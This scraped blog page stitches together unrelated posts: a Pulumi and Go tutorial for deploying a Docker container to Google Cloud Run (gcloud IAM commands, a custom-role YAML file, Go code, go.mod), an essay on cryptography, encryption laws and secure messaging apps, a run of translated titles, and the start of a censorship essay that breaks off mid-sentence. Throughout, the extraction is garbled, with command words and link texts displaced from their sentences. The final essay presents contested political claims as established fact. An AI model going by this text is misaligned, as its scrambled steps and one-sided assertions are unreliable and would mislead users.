Our AI powered platform uniquely supercharges B2B distributors sales through three channels: reps, email and e-commerce

proton.ai

This tutorial shows you how to deploy and automate a Docker container using Pulumi in Google Cloud Platform's Cloud Run with minimum permissions. Here's the GitHub Repository for reference: https://github.com/superjose/deploy-to-cloud-run-go Get the CLIs: . Create a Google Cloud Account Install Google Cloud CLI Install Pulumi CLI - We need it to build the Docker container. Install Docker Bootstrap the project: Create a directory: pulumi mkdir pulumi Run to initialize a pulumi project with Go (It can be your language of choice pulumi new go Navigate to the directory. pulumi cd pulumi Navigate to and create a new project. cloud.google.com Take note of the (Usually the project's name). project-id Generate the necessary permissions using gcloud CLI Login with the Google Auth CLI: gcloud auth login (Optional) Set the project in google cloud CLI (Can be changed anytime). This saves you from passing into every command. --project [PROJECT-ID] gcloud If your machine has multiple GCP projects, skip this step and pass the flag into every command. --project gcloud Create a service account (The account that Pulumi will connect to): gcloud iam service-accounts create pulumi-gcp --description="Pulumi GCP" Download the credentials for the service accounts and store them locally (Remember to replace with your GCP Project Id): [PROJECT-ID] gcloud iam service-accounts keys create ~/keys/gcp/pulumi-service-account-key-file.json --iam-account=pulumi-gcp@[PROJECT-ID].iam.gserviceaccount.com Set Pulumi's gcp credentials config path:
(This will connect the service account with Pulumi) pulumi config set gcp:credentials ~/keys/gcp/pulumi-service-account-key-file.json Set the GCP Project by doing: pulumi config set gcp:project [PROJECT-ID] Create a file (Inside the dir) and add the required permissions in : roles.gcp.yml pulumi includedPermissions # https://cloud.google.com/iam/docs/creating-custom-roles#creating
# Yaml to define the Pulumi GCP Roles that need to be created with gcloud CLI
title: Pulumi GCP Roles
description: |
  This policy ensures that all GCP roles are created using Pulumi.
stage: GA
# https://cloud.google.com/iam/docs/permissions-reference
includedPermissions:
  - serviceusage.services.list
  - serviceusage.services.enable
  - serviceusage.services.disable
  - serviceusage.services.get
  - serviceusage.services.use
    # Permissions for GCR
  - storage.objects.create
  - storage.objects.delete # Optional: only include if you need to delete images
  - storage.objects.get
  # Permissions for Google Artifact Registry
  - artifactregistry.repositories.create
  - artifactregistry.repositories.delete
  - artifactregistry.repositories.get
  - artifactregistry.repositories.list
  - artifactregistry.repositories.update
  - artifactregistry.repositories.downloadArtifacts
  - artifactregistry.repositories.uploadArtifacts
  - artifactregistry.repositories.deleteArtifacts
  # Permissions
  # Permissions
  - run.services.create
  - run.services.get
  - run.services.list
  - run.services.update
  - run.services.delete
  - run.services.getIamPolicy
  - run.services.setIamPolicy
  - iam.serviceAccounts.actAs
# NOTE: This should be removed the first time you're creating a role.
# This etag is to update the current active role (As GCP lets you manage multiple roles)
# I'm commenting it out so I can always replace the role
# etag: BwYS74Xx5y4= Create the with the file above:
(We assume we're running this code from the directory) pulumi_admin_role pulumi gcloud iam roles create pulumi_admin_role --project=[PROJECT-ID] --file='./roles.gcp.yml' In case you need to make edits, change the file and use: gcloud iam roles update pulumi_admin_role --project=[PROJECT-ID] --file='./roles.gcp.yml' We're also adding the role (I haven't found a better way) (Otherwise we'd get 403 errors when refreshing and updating in Pulumi)<sup>1</sup> serviceAccountAdmin gcloud projects add-iam-policy-binding [PROJECT-ID] --role roles/iam.serviceAccountAdmin   --member serviceAccount:pulumi-gcp@[PROJECT-ID].iam.gserviceaccount.com (The following will add the new role to the service account) gcloud projects add-iam-policy-binding [PROJECT-ID] --role projects/[PROJECT-ID]/roles/pulumi_admin_role   --member serviceAccount:pulumi-gcp@[PROJECT-ID].iam.gserviceaccount.com Our in the directory:
(Check the code for comments!) main.go pulumi We enable the required services (Artifact Registry, and Cloud Run). Artifact Registry is used to host the docker container image. Cloud Runner will launch the Docker image from Artifact Registry. We build the docker image locally (We specify the platform in case you're using an ARM chip like M1, M2, Snapdragon SQ, X Elite, etc.) We create a chain of "DependsOn" to notify Pulumi:
5.1 Services need to be enabled first
5.2 We create the Artifact Repository
5.3 We build the docker image and push it to Artifact Registry.
5.4 We pull the Docker Image from Artifact Registry and run it.
5.5 We add IAM permissions so it can be accessed from anywhere. package main

import (
	"errors"
	"log"
	"os"

	"github.com/joho/godotenv"
	"github.com/pulumi/pulumi-docker/sdk/v3/go/docker"
	"github.com/pulumi/pulumi-gcp/sdk/v7/go/gcp/artifactregistry"
	"github.com/pulumi/pulumi-gcp/sdk/v7/go/gcp/cloudrun"
	"github.com/pulumi/pulumi-gcp/sdk/v7/go/gcp/projects"
	"github.com/pulumi/pulumi/sdk/v3/go/pulumi"
)

// This is the name you created in Google Cloud Platform (GCP).
const gcpProjectId = "deploy-to-cloud-run-go"

// The Docker Image Name
const dockerImageName = "my-app-docker"
const artifactRegistryServiceName = "artifact-registry-api"
const artifactRegistryRepoName = "my-app-artifact-repo"
const artifactRegistryRepoLocation = "us-east1"
const cloudRunAdminServiceName = "cloud-run-admin-service"
const cloudRunServiceName = "cloud-run-service"

// For more info: https://cloud.google.com/run/docs/locations
const cloudRunLocation = "us-east1"

// The tag for the Docker image
const imageTag = "latest"

// This is a url like: us-east1-docker.pkg.dev
// It is used to push the Docker image to Google Container Registry
// For more info: https://cloud.google.com/container-registry/docs/pushing-and-pulling
// The format is: <region>-docker.pkg.dev
var dockerGCPServer = cloudRunLocation + "-docker.pkg.dev"

// The full path to the Docker image
// It is used to deploy the Docker image to Google Cloud Run
// The format is: <region>-docker.pkg.dev/<project-id>/<repo-name>/<image-name>:<tag>
// For more info: https://cloud.google.com/run/docs/deploying
// Example: us-east1-docker.pkg.dev/deploy-to-cloud-run-go/my-app--artifact-repo/my-app-docker:latest
var dockerImageWithPath = dockerGCPServer + "/" + gcpProjectId + "/" + artifactRegistryRepoName + "/" + dockerImageName + ":" + imageTag

func main() {

	// Load the .env file
	err := godotenv.Load()

	if err != nil {
		log.Fatal("Error loading .env file")
	}

	pulumi.Run(func(ctx *pulumi.Context) error {

		enabledServices, serviceResultErr := enableServices(ctx)

		if serviceResultErr != nil {
			return serviceResultErr
		}

		artifactRegistryRepo, createArtifactErr := createArtifactRegistryNewRepository(ctx, &enabledServices)
		if createArtifactErr != nil {
			return createArtifactErr
		}

		dockerImage, buildAndPushErr := buildAndPushToContainerRegistry(ctx, &enabledServices, artifactRegistryRepo)

		if buildAndPushErr != nil {
			return buildAndPushErr
		}

		deployContainerErr := deployContainerToCloudRun(ctx, &enabledServices, dockerImage)

		if deployContainerErr != nil {
			return deployContainerErr
		}

		return nil
	})
}

type EnabledServices struct {
	CloudRunService         *projects.Service `pulumi:"cloudRunService"`
	ArtifactRegistryService *projects.Service `pulumi:"artifactRegistryService"`
}

func enableServices(ctx *pulumi.Context) (EnabledServices, error) {

	cloudRunService, cloudRunAdminErr := projects.NewService(ctx, cloudRunAdminServiceName, &projects.ServiceArgs{
		Service: pulumi.String("run.googleapis.com"),
		Project: pulumi.String(gcpProjectId),
	})

	if cloudRunAdminErr != nil {
		return EnabledServices{}, cloudRunAdminErr
	}

	artifactRegistryService, err := projects.NewService(ctx, artifactRegistryServiceName, &projects.ServiceArgs{
		Service: pulumi.String("artifactregistry.googleapis.com"),
	})

	if err != nil {
		return EnabledServices{}, err
	}
	return EnabledServices{
		CloudRunService:         cloudRunService,
		ArtifactRegistryService: artifactRegistryService,
	}, nil
}

func createArtifactRegistryNewRepository(ctx *pulumi.Context, enabledServices *EnabledServices) (*artifactregistry.Repository, error) {

	if enabledServices == nil || enabledServices.ArtifactRegistryService == nil {
		return nil, errors.New("enabledServices cannot be nil")
	}

	dependingResources := []pulumi.Resource{
		enabledServices.ArtifactRegistryService,
	}

	repo, err := artifactregistry.NewRepository(ctx, artifactRegistryRepoName, &artifactregistry.RepositoryArgs{
		Location:     pulumi.String(artifactRegistryRepoLocation),
		RepositoryId: pulumi.String(artifactRegistryRepoName),
		Format:       pulumi.String("DOCKER"),
		Description:  pulumi.String("The repository that will hold social-log Docker images."),
	}, pulumi.DependsOn(dependingResources))

	if err != nil {
		return nil, err
	}

	return repo, nil
}

func buildAndPushToContainerRegistry(ctx *pulumi.Context, enabledServices *EnabledServices, artifactRegistryRepo *artifactregistry.Repository) (*docker.Image, error) {

	if enabledServices == nil || enabledServices.ArtifactRegistryService == nil {
		return nil, errors.New("enabledServices cannot be nil")
	}

	if artifactRegistryRepo == nil {
		return nil, errors.New("artifactRegistryRepo cannot be nil")
	}

	// Lookup GOOGLE_CREDENTIALS environment variable which should hold the path to the JSON key file
	jsonKeyPath, present := os.LookupEnv("GOOGLE_CREDENTIALS_FILE_PATH")
	if !present {
		return nil, errors.New("GOOGLE_CREDENTIALS_FILE_PATH environment variable is not set")
	}

	// Read the JSON key file
	jsonKey, err := os.ReadFile(jsonKeyPath)
	if err != nil {
		return nil, err
	}

	dependingSources := []pulumi.Resource{
		enabledServices.ArtifactRegistryService,
		artifactRegistryRepo,
	}

	// Build and push Docker image to Google Container Registry using the JSON key
	image, err := docker.NewImage(ctx, dockerImageName, &docker.ImageArgs{
		Build: &docker.DockerBuildArgs{
			Context: pulumi.String("../"), // Adjust the context according to your project structure

			ExtraOptions: pulumi.StringArray{
				// This option is needed for devices running on ARM architecture, such as Apple M1/M2/MX CPUs
				pulumi.String("--platform=linux/amd64"),
			},
		},
		ImageName: pulumi.String(dockerImageWithPath),
		Registry: &docker.ImageRegistryArgs{
			Server:   pulumi.String(dockerGCPServer),
			Username: pulumi.String("_json_key"),     // Special username for GCP
			Password: pulumi.String(string(jsonKey)), // Provide the contents of the key file
		},
	}, pulumi.DependsOn(dependingSources))
	if err != nil {
		return nil, err
	}

	return image, nil
}

func deployContainerToCloudRun(ctx *pulumi.Context, enabledServices *EnabledServices, dockerImage *docker.Image) error {

	if enabledServices == nil || enabledServices.CloudRunService == nil {
		return errors.New("enabledServices cannot be nil")
	}

	if dockerImage == nil {
		return errors.New("dockerImage cannot be nil")
	}

	dependingSources := []pulumi.Resource{
		enabledServices.CloudRunService,
		dockerImage,
	}

	appService, err := cloudrun.NewService(ctx, cloudRunServiceName, &cloudrun.ServiceArgs{
		Location: pulumi.String(cloudRunLocation), // Choose the appropriate region for your service
		Template: &cloudrun.ServiceTemplateArgs{
			Spec: &cloudrun.ServiceTemplateSpecArgs{
				Containers: cloudrun.ServiceTemplateSpecContainerArray{
					&cloudrun.ServiceTemplateSpecContainerArgs{
						Image: dockerImage.ImageName,
						Resources: &cloudrun.ServiceTemplateSpecContainerResourcesArgs{
							Limits: pulumi.StringMap{
								"memory": pulumi.String("256Mi"), // Adjust the memory limit as needed
							},
						},
					},
				},
			},
		},
		Traffics: cloudrun.ServiceTrafficArray{
			&cloudrun.ServiceTrafficArgs{
				Percent:        pulumi.Int(100),
				LatestRevision: pulumi.Bool(true),
			},
		},
	}, pulumi.DependsOn(dependingSources))

	if err != nil {
		return err
	}

	_, iamErr := cloudrun.NewIamMember(ctx, "invoker", &cloudrun.IamMemberArgs{
		Service:  appService.Name,
		Location: appService.Location,
		Role:     pulumi.String("roles/run.invoker"),
		Member:   pulumi.String("allUsers"),
	})

	if iamErr != nil {
		return iamErr
	}

	ctx.Export("containerUrl", appService.Statuses.Index(pulumi.Int(0)).Url().ToOutput(ctx.Context()))
	return nil
} Update the in your Dockerfile:
There's a , and in which you need to export your environment variable to ENV known issue here HOME /root # Set the ENV HOME before your ENTRYPOINT.
ENV HOME=/root

# This is specific to your project. 
ENTRYPOINT ["/whatever-is-your-entrypoint"] Create a .env file in the pulumi directory: Set the * to the one you saved on full path 11) GOOGLE_CREDENTIALS_FILE_PATH="/Users/myusername/keys/gcp/pulumi-service-account-key-file.json" Run pulumi up You should be up and running! Extras The go.mod module social-log-go

go 1.21

toolchain go1.22.0

require (
	github.com/pulumi/pulumi-gcp/sdk/v7 v7.11.2
	github.com/pulumi/pulumi/sdk/v3 v3.108.1
)

require (
	dario.cat/mergo v1.0.0 // indirect
	github.com/Masterminds/semver v1.5.0 // indirect
	github.com/Microsoft/go-winio v0.6.1 // indirect
	github.com/ProtonMail/go-crypto v0.0.0-20230828082145-3c4c8a2d2371 // indirect
	github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect
	github.com/agext/levenshtein v1.2.3 // indirect
	github.com/apparentlymart/go-textseg/v13 v13.0.0 // indirect
	github.com/atotto/clipboard v0.1.4 // indirect
	github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
	github.com/blang/semver v3.5.1+incompatible // indirect
	github.com/charmbracelet/bubbles v0.16.1 // indirect
	github.com/charmbracelet/bubbletea v0.24.2 // indirect
	github.com/charmbracelet/lipgloss v0.7.1 // indirect
	github.com/cheggaaa/pb v1.0.29 // indirect
	github.com/cloudflare/circl v1.3.7 // indirect
	github.com/containerd/console v1.0.4-0.20230313162750-1ae8d489ac81 // indirect
	github.com/cyphar/filepath-securejoin v0.2.4 // indirect
	github.com/djherbis/times v1.5.0 // indirect
	github.com/emirpasic/gods v1.18.1 // indirect
	github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 // indirect
	github.com/go-git/go-billy/v5 v5.5.0 // indirect
	github.com/go-git/go-git/v5 v5.11.0 // indirect
	github.com/gogo/protobuf v1.3.2 // indirect
	github.com/golang/glog v1.1.0 // indirect
	github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
	github.com/golang/protobuf v1.5.3 // indirect
	github.com/google/uuid v1.3.0 // indirect
	github.com/grpc-ecosystem/grpc-opentracing v0.0.0-20180507213350-8e809c8a8645 // indirect
	github.com/hashicorp/errwrap v1.1.0 // indirect
	github.com/hashicorp/go-multierror v1.1.1 // indirect
	github.com/hashicorp/hcl/v2 v2.17.0 // indirect
	github.com/inconshreveable/mousetrap v1.1.0 // indirect
	github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect
	github.com/joho/godotenv v1.5.1 // indirect
	github.com/kevinburke/ssh_config v1.2.0 // indirect
	github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
	github.com/mattn/go-isatty v0.0.19 // indirect
	github.com/mattn/go-localereader v0.0.1 // indirect
	github.com/mattn/go-runewidth v0.0.15 // indirect
	github.com/mitchellh/go-ps v1.0.0 // indirect
	github.com/mitchellh/go-wordwrap v1.0.1 // indirect
	github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
	github.com/muesli/cancelreader v0.2.2 // indirect
	github.com/muesli/reflow v0.3.0 // indirect
	github.com/muesli/termenv v0.15.2 // indirect
	github.com/opentracing/basictracer-go v1.1.0 // indirect
	github.com/opentracing/opentracing-go v1.2.0 // indirect
	github.com/pgavlin/fx v0.1.6 // indirect
	github.com/pjbgf/sha1cd v0.3.0 // indirect
	github.com/pkg/errors v0.9.1 // indirect
	github.com/pkg/term v1.1.0 // indirect
	github.com/pulumi/appdash v0.0.0-20231130102222-75f619a67231 // indirect
	github.com/pulumi/esc v0.6.2 // indirect
	github.com/pulumi/pulumi-docker/sdk/v3 v3.6.1 // indirect
	github.com/rivo/uniseg v0.4.4 // indirect
	github.com/rogpeppe/go-internal v1.11.0 // indirect
	github.com/sabhiram/go-gitignore v0.0.0-20210923224102-525f6e181f06 // indirect
	github.com/santhosh-tekuri/jsonschema/v5 v5.0.0 // indirect
	github.com/sergi/go-diff v1.3.1 // indirect
	github.com/skeema/knownhosts v1.2.1 // indirect
	github.com/spf13/cobra v1.7.0 // indirect
	github.com/spf13/pflag v1.0.5 // indirect
	github.com/texttheater/golang-levenshtein v1.0.1 // indirect
	github.com/tweekmonster/luser v0.0.0-20161003172636-3fa38070dbd7 // indirect
	github.com/uber/jaeger-client-go v2.30.0+incompatible // indirect
	github.com/uber/jaeger-lib v2.4.1+incompatible // indirect
	github.com/xanzy/ssh-agent v0.3.3 // indirect
	github.com/zclconf/go-cty v1.13.2 // indirect
	go.uber.org/atomic v1.9.0 // indirect
	golang.org/x/crypto v0.17.0 // indirect
	golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa // indirect
	golang.org/x/mod v0.14.0 // indirect
	golang.org/x/net v0.19.0 // indirect
	golang.org/x/sync v0.5.0 // indirect
	golang.org/x/sys v0.15.0 // indirect
	golang.org/x/term v0.15.0 // indirect
	golang.org/x/text v0.14.0 // indirect
	golang.org/x/tools v0.15.0 // indirect
	google.golang.org/genproto/googleapis/rpc v0.0.0-20230706204954-ccb25ca9f130 // indirect
	google.golang.org/grpc v1.57.1 // indirect
	google.golang.org/protobuf v1.31.0 // indirect
	gopkg.in/warnings.v0 v0.1.2 // indirect
	gopkg.in/yaml.v3 v3.0.1 // indirect
	lukechampine.com/frand v1.4.2 // indirect
) If you include this Run , and this will fetch all the packages for you go.mod go tidy Footnotes I fought against permissions for 5 days. The predefined GCP role brought in the additional permissions needed. 1* serviceAccountAdmin

Automate and Deploy a Docker Container to Google Cloud Run from Scratch Using Pulumi and Go

In 2016, when I began advocating for a switch from WhatsApp and Telegram to Signal in conversations with colleagues, friends, and family, I made a startling discovery: the vast majority of people, especially those outside the cybersecurity field, seemed largely indifferent to the crucial role of cryptography in our everyday lives. This apathy was particularly pronounced during discussions about Facebook's plans to integrate its messaging platforms with WhatsApp. The concern here stems from the different approaches to privacy and security adopted by these platforms despite them utilizing the same end-to-end encryption protocol developed by . WhatsApp, operating under Facebook, has been scrutinized for its potential use of metadata, raising questions about user privacy. On the other hand, Signal's open-source nature and minimal data collection practices are generally perceived as more secure and private, underscoring its commitment to user privacy. Open Whisper Systems Telegram, another popular messaging app, offers end-to-end encryption only in its 'Secret Chats' feature and not in regular chats or group chats. This critical distinction is important for users to understand when selecting a messaging platform based on their privacy needs. This scenario underscores a broader issue: the public's lack of awareness about the critical importance of robust cryptographic practices in safeguarding our digital interactions. It seems that many fail to recognize that cryptography forms the bedrock of our online communications, whether it's for personal conversations, financial transactions, or sensitive data sharing. As I engaged more in these discussions, it became clear that a fundamental understanding of how our data is protected—or possibly exposed—is vital due to our increasing reliance on digital platforms. If you are contemplating a switch from WhatsApp to Signal or wondering about Telegram's position in this context, a comprehensive comparison of these platforms is available in . This piece thoughtfully explains the nuanced differences in how these apps manage end-to-end encryption and user data, highlighting the intricacies of cryptography in everyday use. this article on CyberNews Cryptography ignorance is a bliss for Government regulators In the halls of the European Union, a bill has sparked significant debate with its aim to weaken end-to-end encryption, ostensibly to combat child sexual abuse. Despite some good intentions, this legislative effort is mired in controversy due to its potential impact on the privacy rights of EU citizens. A detailed analysis by Riana Pfefferkorn at Stanford's Center for Internet and Society, available , delves into the complexities of this issue. The EU's draft Child Sex Abuse Regulation suggests that online service providers proactively scan their services, including private communications, for abusive material, a major shift from current laws that allow for voluntary detection. here This proposal has triggered dissent among EU member states, underscoring the tension between child protection and the rights of over 447 million EU citizens. The bill's approach to end-to-end encryption, a cornerstone of digital privacy and security, has raised significant legal and technical concerns. End-to-end encryption safeguards communications from external surveillance, but poses challenges for law enforcement in detecting illegal activities. The ongoing debate in the EU highlights how a lack of public understanding of cryptography can be exploited by regulators. Policies lacking a comprehensive grasp of encryption and its implications risk inadvertently undermining the foundational principles of privacy and security. An informed discussion, considering both the technical realities of encryption and the legal frameworks governing digital rights, is essential. In Australia, the government has passed an unprecedented law that poses a significant threat to global privacy. Known as the TOLA Act, this 2018 legislation compels tech companies to provide Australian authorities with access to encrypted messages, essentially mandating the creation of backdoors. Despite a recent review proposing additional safeguards and oversight mechanisms, the law's core mandate, particularly regarding access to encrypted communications, remains largely intact. This move has serious implications, as it not only compromises the security of communications within Australia but also sets a dangerous precedent globally. The law's broad scope and potential for misuse raise significant concerns among privacy advocates and security experts. More details about this concerning development, including the recent review's findings, can be found in this article by the . Foundation for Economic Education Similarly, the United Kingdom is on the cusp of adopting policies that could significantly weaken encryption worldwide. The Online Safety Bill, ostensibly designed to enhance online safety, paradoxically risks making individuals less secure online. The recently passed bill mandates that tech companies weaken their encryption services, potentially exposing users to increased cyberattacks and privacy violations. The far-reaching implications of these legislative actions are explored in greater depth by the and . Electronic Frontier Foundation The Conversation Panama Papers and the Value of Cryptography in Journalism and Advocacy The Panama Papers were a groundbreaking revelation in the world of investigative journalism, showcasing the transformative power of encryption in the fight against global corruption. In 2016, over 11.5 million documents were leaked from Mossack Fonseca, the world's fourth-largest offshore law firm, uncovering the intricate financial dealings of the elite. The leak revealed the identities of individuals and entities involved in potentially illicit activities across more than 214,000 offshore companies. Encryption was crucial in this process, as it protected the identity of the whistleblower, known as "John Doe," and ensured the secure and confidential transmission of this sensitive data. This case demonstrated how strong encryption is not only a technical tool but a fundamental enabler of privacy, democratic principles, and journalistic integrity. In an era where digital security and privacy are increasingly under threat, the story of the Panama Papers serves as a potent reminder of the essential role of encryption. Bastian Obermayer, the investigative journalist who brought the Panama Papers to light, emphasizes this in for Euroviews. He recounts how the insistence on strictly encrypted communication was a lifeline for the whistleblowers, enabling them to safely share information that would shake the world. this article As Obermayer points out, without strong encryption, the risks to both the source and the journalists would have been exponentially greater. The investigation into the Panama Papers not only brought to light financial crimes and global corruption but also highlighted how encryption empowers individuals to challenge powerful entities and expose injustice. However, this crucial tool for maintaining privacy and enabling transparency is facing legislative challenges globally, from the UK's Online Safety Bill to the US's EARN IT Act and the EU's Child Sexual Abuse Regulation proposals. Encryption, as Obermayer asserts, is a massive asset for democracy. It allows for private conversations, which are essential for a healthy public discourse and investigative journalism. The Panama Papers are a testament to the power of encryption in giving a voice to the voiceless and standing up against injustice. It's a narrative that emphasizes the need to not only understand but also to defend strong encryption – for it is in this technology that the strength of our democracies and the protection of our fundamental freedoms lie. Cryptography 101: Public key cryptography (PKC) and the RSA algorithm In the following paragraph, I will share a series of resources for people of different backgrounds interested in learning more about cryptography. However, the world would already be in a better place if most people had a basic understanding of two of the pillars of modern cryptography: public key cryptography (PKC) and the RSA Algorithm. In 1976, Whitfield Diffie, Martin Hellman, and Ralph Merkle revolutionized electronic communication security by developing public key cryptography (PKC). This innovative method forms the cornerstone of modern secure communication, ensuring the confidentiality and integrity of our digital interactions. : The Essence of PKC At the core of cryptographic security are two types of keys: private and public. These keys are essential to asymmetric encryption, a method where different keys are used for encrypting and decrypting messages. Public and Private Keys This key is confidential and exclusively known to the user. It's never shared and is used primarily for two purposes: decrypting data encrypted with the corresponding public key and signing digital documents to authenticate the sender's identity. Private Key: Contrasting with the private key, the public key is openly shared and available to anyone. It is utilized to encrypt data that can only be decrypted by the matched private key, thus ensuring that only the intended recipient can access the transmitted information. Public Key: Building on PKC Principles The RSA algorithm, developed by Rivest, Shamir, and Adleman, is one of the first and most widely used public-key cryptographic algorithms. It builds upon the principles of PKC established by Diffie, Hellman, and Merkle. This algorithm is a fundamental technology behind many secure systems we depend on today, from HTTPS protocols on the internet to secure email communication. The RSA Algorithm: RSA functions by generating two large prime numbers in secret and multiplying them to produce a public number. The security of RSA hinges on the difficulty of factoring this large public number back into its prime components. Functionality: RSA is integral in various applications, including digital signatures, secure data transmission, and encryption of sensitive information. Its extensive use is a strong indicator of its effectiveness and security. Use Cases: RSA, while robust, confronts challenges like increasing computational capabilities and the potential impact of quantum computing, underscoring the need for continuous development in cryptographic methods. Challenges and Limitations: The Significance of PKC and RSA Understanding the basics of PKC and the RSA algorithm is crucial for anyone involved in cybersecurity or digital privacy. These concepts are practical tools safeguarding our digital lives, not merely theoretical ideas. Their comprehension clarifies much of the encryption we encounter daily and empowers us to make more informed decisions about our digital security. Resources to Become Cryptography-Savvy The journey to becoming a cryptography-savvy user is a path of continuous learning and engagement. Whether you're a novice with no technical background or someone looking to deepen existing knowledge, the world of cryptography offers an array of resources to explore. Here's a guide to help you navigate this journey, categorized for different levels of expertise. For Beginners (No Technical Skills Required): A comprehensive introduction to cryptography's history and principles. " " by Simon Singh: The Code Book A user-friendly online course covering the basics of cryptography. Khan Academy's : Cryptography Course Engaging talks that make complex concepts in cryptography accessible. TED Talks on Cryptography: Intermediate Level (Some Technical Background Helpful): Delves deeper into cryptographic principles and digital applications. " " by Keith Martin: Cryptography: The Key to Digital Security, How It Works, and Why It Matters Intermediate-level courses offering deeper insights into cryptography. : Coursera's Cryptography Courses Advanced Level (Technical Skills Required): A classic text for those with a solid technical background. " " by Bruce Schneier: Applied Cryptography Find it on Amazon Challenging courses for an in-depth understanding of advanced topics. MIT : OpenCourseWare's Cryptography and Cryptanalysis Courses Build real-world cryptography knowledge and explore modern algorithms. This book is ideal for deepening your understanding of advanced cryptography concepts and applications. “ " by Massimo Bertaccini: Cryptography Algorithms: A guide to algorithms in blockchain, quantum cryptography, zero-knowledge protocols, and homomorphic encryption Online Forums and Communities: Engage with communities on Reddit for insights and discussions. : Cryptology Subreddits and Online Forums For practical understanding, explore projects related to cryptography on GitHub. : GitHub Repositories Staying Updated: Blogs and Newsletters: Keep up with the latest developments by following leading cryptography blogs ( and subscribing to newsletters. ) Bruce Schneier's Blog Remember, becoming knowledgeable in cryptography is about more than just learning; it's about understanding its societal impact, advocating for digital rights, and ensuring security. Share your insights and learnings with your network to contribute to a more informed community. How I Protect My Data In my pursuit of digital privacy and security, I carefully select platforms renowned for their robust encryption and commitment to user privacy. However, I am acutely aware that in the dynamic world of technology, no solution is ever permanent. Changes in company ownership or philosophy can alter the landscape, requiring constant vigilance and readiness to adapt. My primary choice for instant messaging is . Praised for its end-to-end encryption, Signal ensures that my communications remain confidential. As an open-source platform, it undergoes regular scrutiny by the cybersecurity community, enhancing its trustworthiness. Signal's commitment to privacy is not just about robust technology; it's also about a philosophy that values user privacy above all else. Signal for Instant Messaging: Signal For email, I rely on . Based in Switzerland, a country known for its strong privacy laws, ProtonMail offers end-to-end encrypted email services. This means that not even ProtonMail can access the contents of my emails, ensuring complete privacy. Their use of open-source encryption and their transparent operational policies align with my personal security requirements. ProtonMail for Email Communications: ProtonMail Beyond these platforms, I am also exploring decentralized solutions, particularly blockchain-based communication tools. Decentralization offers a unique advantage by removing the single point of control or failure, which is a vulnerability in centralized systems. Exploring Decentralized Solutions: One such example is , a blockchain-based chat platform. Status operates on the Ethereum blockchain, providing not only messaging services but also a crypto wallet and a decentralized web browser. Its open-source and peer-to-peer protocol offers transparency and security, resonating with my approach to digital privacy. The platform's commitment to user sovereignty and data protection, free from corporate oversight or governmental interference, presents a promising alternative in the ever-changing digital landscape. Status In conclusion, while platforms like Signal and ProtonMail currently meet my privacy and security needs, I remain open and attentive to the developments in decentralized solutions like Status. The digital world is in constant flux, and staying informed and flexible is key to ensuring the enduring safety and privacy of my data. Understanding Cryptography: Protecting Your Privacy Rights In this rapidly evolving digital age, the significance of cryptography extends far beyond the realms of specialized cybersecurity professionals. It touches the lives of every individual who interacts with the digital world. While becoming an expert in cryptography may not be feasible or necessary for everyone, having a fundamental understanding of its principles and implications is crucial. This knowledge empowers us to make informed decisions about our digital privacy and security and to critically assess the policies and technologies that govern our online interactions. As we have explored, cryptography is not just a tool for safeguarding data; it's a cornerstone of our digital rights and freedoms. Whether it’s choosing secure communication platforms, understanding the legislative landscape, or simply staying informed about the latest developments in encryption and privacy, every step you take toward understanding cryptography strengthens your position in the digital world. Remember, in the fight for digital privacy and freedom, awareness is your greatest ally. You don't need to be an expert, but understanding the basics of cryptography and staying informed about how it impacts your life is a step towards a more secure and private digital future.

Most People Don't Care About Cryptography, and That's a Problem

অধিকাংশ মানুষ ক্রিপ্টোগ্রাফি সম্পর্কে চিন্তা করে না, এবং এটি একটি সমস্যা

Die meisten Menschen interessieren sich nicht für Kryptographie, und das ist ein Problem

A la mayoría de la gente no le importa la criptografía, y eso es un problema

La plupart des gens ne se soucient pas de la cryptographie, et c'est un problème

अधिकांश लोग क्रिप्टोग्राफी की परवाह नहीं करते, और यह एक समस्या है

ほとんどの人は暗号化について関心がありませんが、それが問題です

대부분의 사람들은 암호화에 관심이 없으며 이것이 문제입니다.

A maioria das pessoas não se importa com criptografia, e isso é um problema

Большинству людей плевать на криптографию, и это проблема

Çoğu İnsan Kriptografiyi Önemsemiyor ve Bu Bir Sorun

Hầu hết mọi người không quan tâm đến mật mã và đó là một vấn đề

大多数人不关心密码学，这是一个问题

Photo by __[Chris Yang](https://unsplash.com/@chrisyangchrisfilm?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)__ on __[Unsplash](https://unsplash.com/s/photos/anonymous-messaging?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)__ Journalists, environmental activists, citizens of oppressive governments, and political opposition leaders. What do all of these have in common? They all face real danger by expressing their opinions. Over the past year, we’ve seen a crisis hitting freedom of speech. With most social networks owned by private corporations, they reserve the full right to monitor and police all content published on their services. However, the problem is that even if your government fully respects freedom of speech, private companies do not have to. This created an environment where discussing certain topics is taboo and can cause your account to be suspended temporarily or even permanently banned. People have resorted to communication apps that utilize end-to-end encryption. Though with their usage of your data to serve you personalized advertisements, they’re hardly privacy-oriented. Let’s discuss what options users have that can allow them to communicate freely without fear of prosecution or even physical harm. The spark that lit a wildfire: Widely-adopted censorship As we open Pandora’s box, it’s important to understand censorship. , censorship is the changing, suppression, or prohibition of speech or writing that is deemed subversive of the common good. Sounds almost honorable, doesn’t it? We need to clarify a few things. First of all, what exactly is the “common good”? Let’s take a look at and we may get a better idea of what the common good really means. , the suppression of words, images, or ideas that are “offensive,” happens whenever some people succeed in imposing their personal political or moral values on others. Censorship can be carried out by the government as well as private pressure groups. According to Britannica , the ACLU definition of censorship Censorship Censorship by the government is unconstitutional. After one look, we can come to the conclusion that censorship can be interpreted as a tool to silence descendants. The common good is purely concerning reaching political goals, that’s all. While government-imposed censorship is unconstitutional, the majority of political & social conversations are held on social networks, all of which have previously imposed censorship rules based on instructions provided by the US government, and we’ve heard it from officials themselves; it’s no secret. One example we can bring up is , during which he stated that they have received warnings from the FBI when claims were uncovered regarding an abandoned laptop belonging to the US president’s son, Hunter Biden, containing extremely concerning materials that could have negatively affected Joseph Biden’s presidential campaign. The FBI claimed that there was no truth to these ‘rumors’, which turned out to be factual. Government-imposed censorship through private companies is the modern way to silence opposing 